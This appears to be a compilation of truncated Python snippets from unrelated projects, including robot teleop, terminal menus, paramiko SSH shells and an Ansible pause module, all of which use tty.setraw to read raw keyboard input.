if verbose and not stderr: print >> sys.stderr, "line(%d,%s)=%s" % ( len(chunk), count, line, ) digest_buf.update(line) content_list.append(base64.b64decode(line)) assert not prefix if digest_buf.hexdigest() != md5_digest: return ("MD5 digest mismatch", headers, None) else: return ("", headers, "".join(content_list)) except Exception, excp: if verbose and not stderr: print >> sys.stderr, "receive_data: ERROR %s" % excp return (str(excp), None, None)
print("#GPIO11 INC入力") print("#GPIO9 UD入力") time.sleep(0.5) print("------------------------------") print "A=正方向 S=停止 D=逆方向 Q=Quit" #初始化电位器 CS=H INC=L UD=L init() #主循环开始 while True: #get events of the controller fd = sys.stdin.fileno() old_settings = termios.tcgetattr(fd) try: tty.setraw(fd) ch = sys.stdin.read(1) finally: termios.tcsetattr(fd, termios.TCSADRAIN, old_settings) #print 'error' if ch == 'a': turnoff(reCS) turnon(reUD) turnon(reINC) time.sleep(0.05) turnoff(reINC) print '----------------' print '【 Slide <<<< 】' print '----------------' time.sleep(1) #此处等待为防止同时按下多个按钮 # elif ch=='w':
def multiChoice(arr, cursorColor="Blue", textOrVal="Val", tickOrCross="T", otherColor="Green"): if (len(tickOrCross) > 1): print("Error: character " + tickOrCross + " Too long") return -1 # save terminal settings fd = sys.stdin.fileno() old_settings = termios.tcgetattr(fd) # set terminal to raw mode tty.setraw(sys.stdin) # read output charIn = 0 printList(arr) print(" Done", end="\n\r") hideCursor() cursorUp(len(arr) + 1) position = 0 setColor(cursorColor) print(">", end="") setColor("Reset") cursorLeft(1) positionList = [] ended = False while ended != True: # whilst enter not pressed # draw arrows at selected positions currpos = position cursorUp(position) for i in range(0, len(arr)): if i in positionList: cursorRight(1) if tickOrCross == 'X': setColor("Red") print("✗", end="\r\n") elif tickOrCross == 'T': setColor("Green") print("✓", end="\r\n") else: setColor(otherColor) print(tickOrCross, end="\r\n") setColor("Reset") else: cursorRight(1) print(" ", end="\r\n") cursorUp(len(arr) - currpos) sys.stdout.flush() charIn = ord(sys.stdin.read(1)) # Get input if charIn == 13:#Enter if position == len(arr): ended = True break if position not in positionList: positionList.append(position) else: positionList.remove(position) elif charIn == 27: # ESC pressed charIn = ord(sys.stdin.read(1)) if charIn == 91: # [ pressed charIn = ord(sys.stdin.read(1)) # Get input if charIn == 65: # Up position = onCharUp(cursorColor, position) elif charIn == 66: # Down position = onDownChar(len(arr), cursorColor, position) cursorDown(len(arr) - position) print("", end='\n\r') # Set terminal style back to normal termios.tcsetattr(fd, termios.TCSADRAIN, old_settings) if textOrVal.upper() == "TEXT": posListText = [] for i in positionList: posListText.append(arr[i]) return posListText else: return positionList
def keyboardLoop(): #初始化 rospy.init_node('tmrobot_teleop') # 获取私有命名空间的参数,若無則設置默認值 rate = rospy.Rate(rospy.get_param('~hz', 1)) #速度变量 walk_vel_ = rospy.get_param('walk_vel', 0.5) run_vel_ = rospy.get_param('run_vel', 1.0) yaw_rate_ = rospy.get_param('yaw_rate', 1.0) yaw_rate_run_ = rospy.get_param('yaw_rate_run', 1.5) max_tv = walk_vel_ max_rv = yaw_rate_ #显示提示信息 print "Reading from keyboard" print "Use WASD keys to control the robot" print "Press Caps to move faster" print "Press q to quit" #读取按键循环 while not rospy.is_shutdown(): fd = sys.stdin.fileno() old_settings = termios.tcgetattr(fd) #不产生回显效果 old_settings[3] = old_settings[3] & ~termios.ICANON & ~termios.ECHO try : tty.setraw( fd ) ch = sys.stdin.read( 1 ) finally : termios.tcsetattr(fd, termios.TCSADRAIN, old_settings) if ch == 'w': max_tv = walk_vel_ speed = 1 turn = 0 elif ch == 's': max_tv = walk_vel_ speed = -1 turn = 0 elif ch == 'a': max_rv = yaw_rate_ speed = 0 turn = 1 elif ch == 'd': max_rv = yaw_rate_ speed = 0 turn = -1 elif ch == 'W': max_tv = run_vel_ speed = 1 turn = 0 elif ch == 'S': max_tv = run_vel_ speed = -1 turn = 0 elif ch == 'A': max_rv = yaw_rate_run_ speed = 0 turn = 1 elif ch == 'D': max_rv = yaw_rate_run_ speed = 0 turn = -1 elif ch == 'q': exit() else: max_tv = walk_vel_ max_rv = yaw_rate_ speed = 0 turn = 0 #发送消息 cmd.linear.x = speed * max_tv; cmd.angular.z = turn * max_rv; pub.publish(cmd) rate.sleep() #停止机器人 stop_robot();
print "error except" pass def forward(): RPL.servoWrite(motorL,motorL_forward) RPL.servoWrite(motorR,motorR_forward) def reverse(): RPL.servoWrite(motorL,motorL_backward) RPL.servoWrite(motorR,motorR_backward) def interrupted(signum, frame): # this is the method called at the end of the alarm stopAll() signal.signal(signal.SIGALRM, interrupted) # this calls the 'interrupted' method when the alarm goes off tty.setraw(sys.stdin.fileno()) # this sets the style of the input print "Ready To Drive! Press * to quit.\r" ## the SHORT_TIMEOUT needs to be greater than the press delay on your keyboard ## on your computer, set the delay to 250 ms with `xset r rate 250 20` SHORT_TIMEOUT = 0.255 # number of seconds your want for timeout while True: signal.setitimer(signal.ITIMER_REAL,SHORT_TIMEOUT) # this sets the alarm ch = sys.stdin.read(1) # this reads one character of input without requiring an enter keypress signal.setitimer(signal.ITIMER_REAL,0) # this turns off the alarm if ch == '*': # pressing the asterisk key kills the process stopAll() # stops everything from moving termios.tcsetattr(fd, termios.TCSADRAIN, old_settings) # this resets the console settings break # this ends the loop else: if ch == 'w':
os._exit(1) # child process, run ssh if pid == 0: try: os.execvp('sshpass', ['sshpass', '-p', password, 'ssh', user + '@' + host]) except BaseException, e: log("ERROR: execvp for '" + description + "': " + str(e)) log("ERROR: execvp failed for '" + description + "'") os._exit(1) # parent process # make the TTY raw to avoid getting input printed and no ^M try: tty.setraw(fd, termios.TCSANOW) except BaseException, e: log("ERROR: failed configuring TTY: " + str(e)) os._exit(1) # try: # fcntl.fcntl(fd, fcntl.F_SETFL, # fcntl.fcntl(fd, fcntl.F_GETFL) | os.O_NONBLOCK) # except: # log("ERROR: fcntl failed for '" + description + "'") # os._exit(1) self.pid = pid self.fd = fd self.active = True self.retcode = -1
def _enter_cbreak(self): self._orig_termios_mode = termios.tcgetattr(self.fd) if self._raw_mode: tty.setraw(self.fd) else: tty.setcbreak(self.fd)
def posix_shell(self): """ Use paramiko channel connect server interactive. 使用paramiko模块的channel,连接后端,进入交互式 """ log_file_f, log_time_f, log = self.get_log() # termlog = TermLogRecorder(User.objects.get(id=self.user.id)) # termlog.setid(log.id) old_tty = termios.tcgetattr(sys.stdin) pre_timestamp = time.time() data = '' input_mode = False try: tty.setraw(sys.stdin.fileno()) tty.setcbreak(sys.stdin.fileno()) self.channel.settimeout(0.0) while True: try: r, w, e = select.select([self.channel, sys.stdin], [], []) flag = fcntl.fcntl(sys.stdin, fcntl.F_GETFL, 0) fcntl.fcntl(sys.stdin.fileno(), fcntl.F_SETFL, flag | os.O_NONBLOCK) except Exception: pass if self.channel in r: try: x = self.channel.recv(10240) if len(x) == 0: break index = 0 len_x = len(x) while index < len_x: try: n = os.write(sys.stdout.fileno(), x[index:]) sys.stdout.flush() index += n except OSError as msg: if msg.errno == errno.EAGAIN: continue now_timestamp = time.time() #termlog.write(x) #termlog.recoder = False log_time_f.write( '%s %s\n' % (round(now_timestamp - pre_timestamp, 4), len(x))) log_time_f.flush() log_file_f.write(x) log_file_f.flush() pre_timestamp = now_timestamp log_file_f.flush() self.vim_data += x if input_mode: data += x except socket.timeout: pass if sys.stdin in r: try: x = os.read(sys.stdin.fileno(), 4096) except OSError: pass #termlog.recoder = True input_mode = True if self.is_output(str(x)): # 如果len(str(x)) > 1 说明是复制输入的 if len(str(x)) > 1: data = x match = self.vim_end_pattern.findall(self.vim_data) if match: if self.vim_flag or len(match) == 2: self.vim_flag = False else: self.vim_flag = True elif not self.vim_flag: self.vim_flag = False data = self.deal_command(data)[0:200] data = '' self.vim_data = '' input_mode = False if len(x) == 0: break self.channel.send(x) finally: termios.tcsetattr(sys.stdin, termios.TCSADRAIN, old_tty) log_file_f.write('End time is %s' % datetime.datetime.now()) log_file_f.close() log_time_f.close() #termlog.save() #log.filename = termlog.filename log.is_finished = True log.end_time = datetime.datetime.now() log.save()
def open_shell(self): """ Opens a PTY on a remote server, and allows interactive commands to be run. Reassigns stdin to the PTY so that it functions like a full shell, as would be given by the OpenSSH client. Differences between the behavior of OpenSSH and the existing Paramiko connection can cause mysterious errors, especially with respect to authentication. By keeping the entire SSH2 connection within Paramiko, such inconsistencies are eliminated. """ if self.channel is None: self.channel = self.client.invoke_shell() # get the current TTY attributes to reapply after # the remote shell is closed oldtty_attrs = termios.tcgetattr(sys.stdin) # invoke_shell with default options is vt100 compatible # which is exactly what you want for an OpenSSH imitation if self.logininfo.skip_root is False: self.channel.send('exec sudo su -\n') def resize_pty(): ''' resize pty for terminal ''' # resize to match terminal size tty_height, tty_width = \ subprocess.check_output(['stty', 'size']).split() # try to resize, and catch it if we fail due to a closed connection try: self.channel.resize_pty( width=int(tty_width), height=int(tty_height) ) except paramiko.ssh_exception.SSHException: pass # wrap the whole thing in a try/finally construct to ensure # that exiting code for TTY handling runs try: stdin_fileno = sys.stdin.fileno() tty.setraw(stdin_fileno) tty.setcbreak(stdin_fileno) self.channel.settimeout(0.0) is_alive = True while is_alive: # resize on every iteration of the main loop resize_pty() # use a unix select call to wait until the remote shell # and stdin are ready for reading # this is the block until data is ready read_ready, _, _ = \ select.select([self.channel, sys.stdin], [], []) # if the channel is one of the ready objects, print # it out 1024 chars at a time if self.channel in read_ready: # try to do a read from the remote end and print to screen try: out = self._read().decode('utf-8') # remote close if len(out) == 0: is_alive = False elif out.endswith('Log into: '): is_alive = False else: # rely on 'print' to correctly handle encoding print(out, end='') sys.stdout.flush() # do nothing on a timeout, as this is an ordinary condition except socket.timeout: pass # if stdin is ready for reading if sys.stdin in read_ready and is_alive: # send a single character out at a time this is typically # human input, so sending it one character at a time is the # only correct action we can take use an os.read to prevent # nasty buffering problem with shell history char = os.read(stdin_fileno, 1) # if this side of the connection closes, shut down # gracefully if len(char) == 0: is_alive = False else: self.channel.send(char) # close down the channel for send/recv # this is an explicit call most likely redundant with the # operations that caused an exit from the REPL, but unusual exit # conditions can cause this to be reached uncalled self.channel.shutdown(2) # regardless of errors, restore the TTY to working order # upon exit and print that connection is closed finally: termios.tcsetattr(sys.stdin, termios.TCSAFLUSH, oldtty_attrs) print('Paramiko channel to {0} closed.'.format( self.logininfo.ip ))
def __init__(self, args, shell=False, executable=None, cwd=None, env=None, timeout=Timeout.default, stderr_debug=False, close_fds=True): super(process, self).__init__(timeout) if executable: self.program = executable elif isinstance(args, (str, unicode)): self.program = args elif isinstance(args, (list, tuple)): self.program = args[0] else: log.error("process(): Do not understand the arguments %r" % args) # If we specify something not in $PATH, but which exists as a non-executable # file then give an error message. if not which(self.program) and os.path.exists( self.program) and not os.access(self.program, os.X_OK): log.error('%r is not set to executable (chmod +x %s)' % (self.program, self.program)) # Make a pty pair for stdout master, slave = pty.openpty() # Set master and slave to raw mode tty.setraw(master) tty.setraw(slave) self.proc = subprocess.Popen( args, shell=shell, executable=executable, cwd=cwd, env=env, stdin=subprocess.PIPE, stdout=slave, stderr=subprocess.PIPE if stderr_debug else slave, close_fds=close_fds, preexec_fn=os.setpgrp) self.stop_noticed = False self.proc.stdout = os.fdopen(master) os.close(slave) # Set in non-blocking mode so that a call to call recv(1000) will # return as soon as a the first byte is available fd = self.proc.stdout.fileno() fl = fcntl.fcntl(fd, fcntl.F_GETFL) fcntl.fcntl(fd, fcntl.F_SETFL, fl | os.O_NONBLOCK) log.success("Started program %r" % self.program) log.debug("...with arguments %r" % args) def printer(): try: while True: line = self.proc.stderr.readline() if line: log.debug(line.rstrip()) else: break except: pass if stderr_debug: t = context.Thread(target=printer) t.daemon = True t.start()
def run(self, tmp=None, task_vars=None): ''' run the pause action module ''' if task_vars is None: task_vars = dict() result = super(ActionModule, self).run(tmp, task_vars) del tmp # tmp no longer has any effect duration_unit = 'minutes' prompt = None seconds = None echo = True echo_prompt = '' result.update(dict( changed=False, rc=0, stderr='', stdout='', start=None, stop=None, delta=None, echo=echo )) if not set(self._task.args.keys()) <= set(self.PAUSE_TYPES): result['failed'] = True result['msg'] = "Invalid argument given. Must be one of: %s" % ", ".join(self.PAUSE_TYPES) return result # Should keystrokes be echoed to stdout? if 'echo' in self._task.args: try: echo = boolean(self._task.args['echo']) except TypeError as e: result['failed'] = True result['msg'] = to_native(e) return result # Add a note saying the output is hidden if echo is disabled if not echo: echo_prompt = ' (output is hidden)' # Is 'prompt' a key in 'args'? if 'prompt' in self._task.args: prompt = "[%s]\n%s%s:" % (self._task.get_name().strip(), self._task.args['prompt'], echo_prompt) else: # If no custom prompt is specified, set a default prompt prompt = "[%s]\n%s%s:" % (self._task.get_name().strip(), 'Press enter to continue, Ctrl+C to interrupt', echo_prompt) # Are 'minutes' or 'seconds' keys that exist in 'args'? if 'minutes' in self._task.args or 'seconds' in self._task.args: try: if 'minutes' in self._task.args: # The time() command operates in seconds so we need to # recalculate for minutes=X values. seconds = int(self._task.args['minutes']) * 60 else: seconds = int(self._task.args['seconds']) duration_unit = 'seconds' except ValueError as e: result['failed'] = True result['msg'] = u"non-integer value given for prompt duration:\n%s" % to_text(e) return result ######################################################################## # Begin the hard work! start = time.time() result['start'] = to_text(datetime.datetime.now()) result['user_input'] = b'' stdin_fd = None old_settings = None try: if seconds is not None: if seconds < 1: seconds = 1 # setup the alarm handler signal.signal(signal.SIGALRM, timeout_handler) signal.alarm(seconds) # show the timer and control prompts display.display("Pausing for %d seconds%s" % (seconds, echo_prompt)) display.display("(ctrl+C then 'C' = continue early, ctrl+C then 'A' = abort)\r"), # show the prompt specified in the task if 'prompt' in self._task.args: display.display(prompt) else: display.display(prompt) # save the attributes on the existing (duped) stdin so # that we can restore them later after we set raw mode stdin_fd = None stdout_fd = None try: if PY3: stdin = self._connection._new_stdin.buffer stdout = sys.stdout.buffer else: stdin = self._connection._new_stdin stdout = sys.stdout stdin_fd = stdin.fileno() stdout_fd = stdout.fileno() except (ValueError, AttributeError): # ValueError: someone is using a closed file descriptor as stdin # AttributeError: someone is using a null file descriptor as stdin on windoez stdin = None if stdin_fd is not None: if isatty(stdin_fd): # grab actual Ctrl+C sequence try: intr = termios.tcgetattr(stdin_fd)[6][termios.VINTR] except Exception: # unsupported/not present, use default intr = b'\x03' # value for Ctrl+C # get backspace sequences try: backspace = termios.tcgetattr(stdin_fd)[6][termios.VERASE] except Exception: backspace = [b'\x7f', b'\x08'] old_settings = termios.tcgetattr(stdin_fd) tty.setraw(stdin_fd) # Only set stdout to raw mode if it is a TTY. This is needed when redirecting # stdout to a file since a file cannot be set to raw mode. if isatty(stdout_fd): tty.setraw(stdout_fd) # Only echo input if no timeout is specified if not seconds and echo: new_settings = termios.tcgetattr(stdin_fd) new_settings[3] = new_settings[3] | termios.ECHO termios.tcsetattr(stdin_fd, termios.TCSANOW, new_settings) # flush the buffer to make sure no previous key presses # are read in below termios.tcflush(stdin, termios.TCIFLUSH) while True: try: if stdin_fd is not None: key_pressed = stdin.read(1) if key_pressed == intr: # value for Ctrl+C clear_line(stdout) raise KeyboardInterrupt if not seconds: if stdin_fd is None or not isatty(stdin_fd): display.warning("Not waiting for response to prompt as stdin is not interactive") break # read key presses and act accordingly if key_pressed in (b'\r', b'\n'): clear_line(stdout) break elif key_pressed in backspace: # delete a character if backspace is pressed result['user_input'] = result['user_input'][:-1] clear_line(stdout) if echo: stdout.write(result['user_input']) stdout.flush() else: result['user_input'] += key_pressed except KeyboardInterrupt: signal.alarm(0) display.display("Press 'C' to continue the play or 'A' to abort \r"), if self._c_or_a(stdin): clear_line(stdout) break clear_line(stdout) raise AnsibleError('user requested abort!') except AnsibleTimeoutExceeded: # this is the exception we expect when the alarm signal # fires, so we simply ignore it to move into the cleanup pass finally: # cleanup and save some information # restore the old settings for the duped stdin stdin_fd if not(None in (stdin_fd, old_settings)) and isatty(stdin_fd): termios.tcsetattr(stdin_fd, termios.TCSADRAIN, old_settings) duration = time.time() - start result['stop'] = to_text(datetime.datetime.now()) result['delta'] = int(duration) if duration_unit == 'minutes': duration = round(duration / 60.0, 2) else: duration = round(duration, 2) result['stdout'] = "Paused for %s %s" % (duration, duration_unit) result['user_input'] = to_text(result['user_input'], errors='surrogate_or_strict') return result